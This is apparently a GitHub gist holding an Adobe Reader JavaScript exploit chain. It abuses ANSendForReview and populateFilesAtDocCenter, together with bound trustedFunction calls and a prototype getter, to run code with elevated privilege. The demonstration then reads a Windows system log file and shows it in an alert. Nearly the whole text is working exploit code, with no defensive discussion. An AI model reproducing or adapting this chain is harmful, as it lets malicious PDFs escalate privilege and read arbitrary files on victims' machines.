Skip to content

Instantly share code, notes, and snippets.

@rxwx
Created May 14, 2026 10:13
Show Gist options
  • Select an option

  • Save rxwx/658a08410e7e50d1b20baf17efe839bd to your computer and use it in GitHub Desktop.

Select an option

Save rxwx/658a08410e7e50d1b20baf17efe839bd to your computer and use it in GitHub Desktop.
Adobe Reader ANSendForReview + populateFilesAtDocCenter chain
global.exec = function(obj, method, args) {
app.beginPriv();
var ret = method.apply(obj, args);
app.endPriv();
return ret;
};
var stream = { read: app.trustedFunction.bind(app, global.exec) };
var ob = {};
ob["getMatchingFiles"] = SOAP.stringFromStream.bind(SOAP, stream);
Object.prototype.__defineGetter__("swConn", function() { return ob; });
var pwnobj = {
match: populateFilesAtDocCenter.bind(null, {}, "x"),
substring: function() { throw Error(""); }
};
var fakeDoc = {};
fakeDoc.__defineGetter__("path", function() { return pwnobj; });
try { ANSendForReview(fakeDoc); } catch(e) {}
var R = [];
try {
var stream = global.exec(util, util.readFileIntoStream, ["/C/Windows/WindowsUpdate.log"]);
if (stream) {
var txt = SOAP.stringFromStream(stream);
R.push("[+] C:\\Windows\\WindowsUpdate.log:");
R.push(txt.substring(0, 1000));
}
} catch(e) { R.push("readFile: " + e); }
app.alert(R.join("\n"));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment